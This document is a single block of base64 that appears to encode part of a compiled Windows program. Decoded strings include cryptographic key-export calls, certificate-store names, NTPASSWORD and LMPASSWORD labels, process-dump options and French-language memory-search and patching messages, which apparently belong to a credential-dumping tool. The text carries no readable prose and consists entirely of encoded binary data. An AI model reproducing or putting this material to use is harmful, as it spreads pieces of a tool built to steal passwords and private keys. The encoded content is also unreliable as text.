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AAAAAABUb28gbWFueSBvcGVuIGZpbGVzAAAAAABUb28gbWFueSBvcGVuIGZpbGVzIGluIHN5c3RlbQAAAEludmFsaWQgYXJndW1lbnQAAAAAAAAAAElzIGEgZGlyZWN0b3J5AABOb3QgYSBkaXJlY3RvcnkATm8gc3VjaCBkZXZpY2UAAEltcHJvcGVyIGxpbmsAAABGaWxlIGV4aXN0cwAAAAAAUmVzb3VyY2UgZGV2aWNlAFVua25vd24gZXJyb3IAAABCYWQgYWRkcmVzcwAAAAAAUGVybWlzc2lvbiBkZW5pZWQAAAAAAAAATm90IGVub3VnaCBzcGFjZQAAAAAAAAAAUmVzb3VyY2UgdGVtcG9yYXJpbHkgdW5hdmFpbGFibGUAAAAAAAAAAE5vIGNoaWxkIHByb2Nlc3NlcwAAAAAAAEJhZCBmaWxlIGRlc2NyaXB0b3IAAAAAAEV4ZWMgZm9ybWF0IGVycm9yAAAAAAAAAEFyZyBsaXN0IHRvbyBsb25nAAAAAAAAAE5vIHN1Y2ggZGV2aWNlIG9yIGFkZHJlc3MAAAAAAAAASW5wdXQvb3V0cHV0IGVycm9yAAAAAAAASW50ZXJydXB0ZWQgZnVuY3Rpb24gY2FsbAAAAAAAAABObyBzdWNoIHByb2Nlc3MATm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeQAAAAAAAABPcGVyYXRpb24gbm90IHBlcm1pdHRlZABObyBlcnJvcgAAAABlKzAwMAAAAAAAAAAGgICGgIGAAAAQA4aAhoKAFAUFRUVFhYWFBQAAMDCAUICIAAgAKCc4UFeAAAcANzAwUFCIAAAAICiAiICAAAAAYGhgaGhoCAgHeHBwd3BwCAgAAAgACAAHCAAAAAAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAAAAAACBDbGFzcyBIaWVyYXJjaHkgRGVzY3JpcHRvcicAAAAAIEJhc2UgQ2xhc3MgQXJyYXknAAAAAAAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoAAAAAAAgVHlwZSBEZXNjcmlwdG9yJwAAAAAAAABgbG9jYWwgc3RhdGljIHRocmVhZCBndWFyZCcAAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAAAAAAAAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAAAAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAAAAAAAAYG9tbmkgY2FsbHNpZycAACBkZWxldGVbXQAAACBuZXdbXQAAAAAAAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAABgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAAAAAAGB1ZHQgcmV0dXJuaW5nJwBgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAAAAAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZiYXNlIGRlc3RydWN0b3InAAAAAAAAYHN0cmluZycAAAAAAAAAAGBsb2NhbCBzdGF0aWMgZ3VhcmQnAAAAAGB0eXBlb2YnAAAAAAAAAABgdmNhbGwnAGB2YnRhYmxlJwAAAAAAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwAACYmAAB8AAAAXgAAAH4AAAAoKQAALAAAAD49AAA+AAAAPD0AADwAAAAlAAAALwAAAC0+KgAmAAAAKwAAAC0AAAAtLQAAKysAAC0+AAAAAAAAb3BlcmF0b3IAAAAAW10AACE9AAA9PQAAIQAAADw8AAA+PgAAAAAAACBkZWxldGUAIG5ldwAAAABfX3VuYWxpZ25lZAAAAAAAX19yZXN0cmljdAAAAAAAAF9fcHRyNjQAX19lYWJpAABfX2NscmNhbGwAAAAAAAAAX19mYXN0Y2FsbAAAAAAAAF9fdGhpc2NhbGwAAAAAAABfX3N0ZGNhbGwAAAAAAAAAX19wYXNjYWwAAAAAAAAAAF9fY2RlY2wAX19iYXNlZCgAAAAAAAAAAMBQBYABAAAAuFAFgAEAAACoUAWAAQAAAJhQBYABAAAAiFAFgAEAAAB4UAWAAQAAAGhQBYABAAAAYFAFgAEAAABYUAWAAQAAAEhQBYABAAAAOFAFgAEAAAA8WAWAAQAAADBQBYABAAAAKFAFgAEAAACgIAWAAQAAACBQBYABAAAAHFAFgAEAAAAYUAWAAQAAABRQBYABAAAAEFAFgAEAAAAMUAWAAQAAAABQBYABAAAA+E8FgAEAAACwGQWAAQAAAPRPBYABAAAA8E8FgAEAAADsTwWAAQAAAOhPBYABAAAA5E8FgAEAAADgTwWAAQAAANxPBYABAAAA2E8FgAEAAADUTwWAAQAAANBPBYABAAAAzE8FgAEAAADITwWAAQAAAMRPBYABAAAAwE8FgAEAAAC8TwWAAQAAALhPBYABAAAAtE8FgAEAAACwTwWAAQAAAKxPBYABAAAAqE8FgAEAAACkTwWAAQAAAKBPBYABAAAAnE8FgAEAAACYTwWAAQAAAJRPBYABAAAAkE8FgAEAAACMTwWAAQAAAIhPBYABAAAAhE8FgAEAAAB4TwWAAQAAAGhPBYABAAAAYE8FgAEAAABQTwWAAQAAADhPBYABAAAAKE8FgAEAAAAQTwWAAQAAAPBOBYABAAAA0E4FgAEAAACwTgWAAQAAAJBOBYABAAAAcE4FgAEAAABITgWAAQAAAChOBYABAAAAAE4FgAEAAADgTQWAAQAAALhNBYABAAAAmE0FgAEAAACITQWAAQAAAIBNBYABAAAAeE0FgAEAAABoTQWAAQAAAEBNBYABAAAANE0FgAEAAAAoTQWAAQAAABhNBYABAAAA+EwFgAEAAADYTAWAAQAAALBMBYABAAAAiEwFgAEAAABgTAWAAQAAADBMBYABAAAAEEwFgAEAAADoSwWAAQAAAMBLBYABAAAAkEsFgAEAAABgSwWAAQAAAEBLBYABAAAAPFgFgAEAAAAoSwWAAQAAAAhLBYABAAAA8EoFgAEAAADQSgWAAQAAALBKBYABAAAAR2V0UHJvY2Vzc1dpbmRvd1N0YXRpb24AR2V0VXNlck9iamVjdEluZm9ybWF0aW9uVwAAAAAAAABHZXRMYXN0QWN0aXZlUG9wdXAAAAAAAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveFcAAAAAAFUAUwBFAFIAMwAyAC4ARABMAEwAAAAAAP///////z9D////////P8NDAE8ATgBPAFUAVAAkAAAAMSNRTkFOAAAxI0lORgAAADEjSU5EAAAAMSNTTkFOAABiYWQgbG9jYWxlIG5hbWUAZmFsc2UAAAB0cnVlAAAAAGlvc19iYXNlOjpiYWRiaXQgc2V0AAAAAGlvc19iYXNlOjpmYWlsYml0IHNldAAAAGlvc19iYXNlOjplb2ZiaXQgc2V0AAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAF8ARwBSAE8AVQBQAF8AUABPAEwASQBDAFkAAAAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAF8ARwBSAE8AVQBQAF8AUABPAEwASQBDAFkAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAF8ARQBOAFQARQBSAFAAUgBJAFMARQAAAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBDAFUAUgBSAEUATgBUAF8AUwBFAFIAVgBJAEMARQAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBVAFMARQBSAFMAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBTAEUAUgBWAEkAQwBFAFMAAAAAACgAbgB1AGwAbAApAAAAAABBAFQAXwBLAEUAWQBFAFgAQwBIAEEATgBHAEUAAAAAAEEAVABfAFMASQBHAE4AQQBUAFUAUgBFAAAAAAApAAAAPwAgACgAAABsZAAAbHUAAExkAABMdQAAJXAAAAAAAABpbnZhbGlkIHN0cmluZyBwb3NpdGlvbgB2ZWN0b3I8VD4gdG9vIGxvbmcAAEUAAABlAAAAAAAAAHN0cmluZyB0b28gbG9uZwBiYWQgY2FzdAAAAAAAAAAAbWFwL3NldDxUPiB0b28gbG9uZwAAAAAAAAAAAAgAAAAAAAAAAAAAACgMBoABAAAAxDIAgAEAAAC4JgCAAQAAAMQmAIABAAAAgCsAgAEAAAAgLgCAAQAAANAmAIABAAAAgC4AgAEAAADcJgCAAQAAABgnAIABAAAA2CcAgAEAAAD4LgCAAQAAAKgwAIABAAAAFHsCgAEAAADQJgCAAQAAAJgoAIABAAAAkAsGgAEAAACMMgCAAQAAAAAAAACIAAAAAAAAAAAAAAAgCAaAAQAAAGQQAYABAAAAHEAAgAEAAAA0PgCAAQAAADg8AIABAAAAiDsAgAEAAADYOgCAAQAAACg6AIABAAAAeDkAgAEAAAA4NwCAAQAAAKAHBoABAAAAHFMAgAEAAAB0UgCAAQAAAHxSAIABAAAA/JgCgAEAAACEUgCAAQAAANBSAIABAAAAcgBzAGEAZQBuAGgAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEQARQBGAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEUATgBIAEEATgBDAEUARABfAFAAUgBPAFYAAAAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwB0AHIAbwBuAGcAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8AUwBUAFIATwBOAEcAXwBQAFIATwBWAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFIAUwBBACAAUwBpAGcAbgBhAHQAdQByAGUAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBJAEcAXwBQAFIATwBWAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFIAUwBBACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBQAFIATwBWAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABEAFMAUwAgAGEAbgBkACAARABpAGYAZgBpAGUALQBIAGUAbABsAG0AYQBuACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAAAABNAFMAXwBFAE4ASABfAEQAUwBTAF8ARABIAF8AUABSAE8AVgAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABEAEgAIABTAEMAaABhAG4AbgBlAGwAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAAAATQBTAF8ARABFAEYAXwBEAEgAXwBTAEMASABBAE4ATgBFAEwAXwBQAFIATwBWAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAUwBtAGEAcgB0ACAAQwBhAHIAZAAgAEMAcgB5AHAAdABvACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAFMAQwBBAFIARABfAFAAUgBPAFYAAAAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAKABQAHIAbwB0AG8AdAB5AHAAZQApAAAAAAAAAE0AUwBfAEUATgBIAF8AUgBTAEEAXwBBAEUAUwBfAFAAUgBPAFYAXwBYAFAAAAAAAFAAUgBPAFYAXwBSAFMAQQBfAEYAVQBMAEwAAAAAAAAAUABSAE8AVgBfAFIAUwBB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AHAAdABpAG8AbgBTAHQAcgBlAGEAbQAAAE0AZQBtAG8AcgB5AEwAaQBzAHQAUwB0AHIAZQBhAG0AAAAAAAAAAABNAG8AZAB1AGwAZQBMAGkAcwB0AFMAdAByAGUAYQBtAAAAAAAAAAAAVABoAHIAZQBhAGQATABpAHMAdABTAHQAcgBlAGEAbQAAAAAAAAAAAFIAZQBzAGUAcgB2AGUAZABTAHQAcgBlAGEAbQAxAAAAUgBlAHMAZQByAHYAZQBkAFMAdAByAGUAYQBtADAAAABVAG4AdQBzAGUAZABTAHQAcgBlAGEAbQAAAAAAAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAASQBnAG4AbwByAGUASQBuAGEAYwBjAGUAcwBzAGkAYgBsAGUATQBlAG0AbwByAHkAAAAAAAAAAAAAAAAAAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAFAAcgBpAHYAYQB0AGUAVwByAGkAdABlAEMAbwBwAHkATQBlAG0AbwByAHkAAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAEYAdQBsAGwAQQB1AHgAaQBsAGkAYQByAHkAUwB0AGEAdABlAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABvAHUAdABBAHUAeABpAGwAaQBhAHIAeQBTAHQAYQB0AGUAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAQwBvAGQAZQBTAGUAZwBzAAAAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAVABoAHIAZQBhAGQASQBuAGYAbwAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgARgB1AGwAbABNAGUAbQBvAHIAeQBJAG4AZgBvAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABvAHUAdABPAHAAdABpAG8AbgBhAGwARABhAHQAYQAAAAAAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAUAByAGkAdgBhAHQAZQBSAGUAYQBkAFcAcgBpAHQAZQBNAGUAbQBvAHIAeQAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAUAByAG8AYwBlAHMAcwBUAGgAcgBlAGEAZABEAGEAdABhAAAAAAAAAE0AaQBuAGkARAB1AG0AcABGAGkAbAB0AGUAcgBNAG8AZAB1AGwAZQBQAGEAdABoAHMAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgASQBuAGQAaQByAGUAYwB0AGwAeQBSAGUAZgBlAHIAZQBuAGMAZQBkAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABVAG4AbABvAGEAZABlAGQATQBvAGQAdQBsAGUAcwAAAE0AaQBuAGkARAB1AG0AcABTAGMAYQBuAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAARgBpAGwAdABlAHIATQBlAG0AbwByAHkAAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABIAGEAbgBkAGwAZQBEAGEAdABhAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABGAHUAbABsAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABEAGEAdABhAFMAZQBnAHMAAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAATgBvAHIAbQBhAGwAAAAAAFMAZQByAHYAaQBjAGUAIAA6ACAAAAAAACkAIAA7ACAAbgAnAGEAIABwAGEAcwAgAGwAJwBhAGkAcgAgAHQAcgDoAHMAIABhAGMAdABpAGYAAAAAACAAKAAAAAAAAAAAAEwAZQAgAHMAZQByAHYAaQBjAGUAIAA6ACAAAAAAAAAAIAA7ACAAAAAAAAAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIAB0AHIAbwB1AHYAZQByACAAbABlACAAcwBlAHIAdgBpAGMAZQAgADoAIAAAAEAAcABpAGQAKAAAAAAAAABSAGUAYwBoAGUAcgBjAGgAZQAgAGQAZQBzACAAcABhAHQAdABlAHIAbgBzACAAZABhAG4AcwAgADoAIAAAAAAATwBLAAAAAABLAE8AAAAAACkAIAA6ACAAAAAAAAAAAABQAGEAdABjAGgAIAAAAAAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAcwBlAGEAcgBjAGgATQBlAG0AbwByAHkAIAAAAAAAAABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAA6ACAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUATQBvAGQAdQBsAGUARgBvAHIATgBhAG0AZQAgADoAIAAAAAAAbQBvAGQAXwBwAGEAdABjAGgAOgA6AGcAZQB0AEYAdQBsAGwAVgB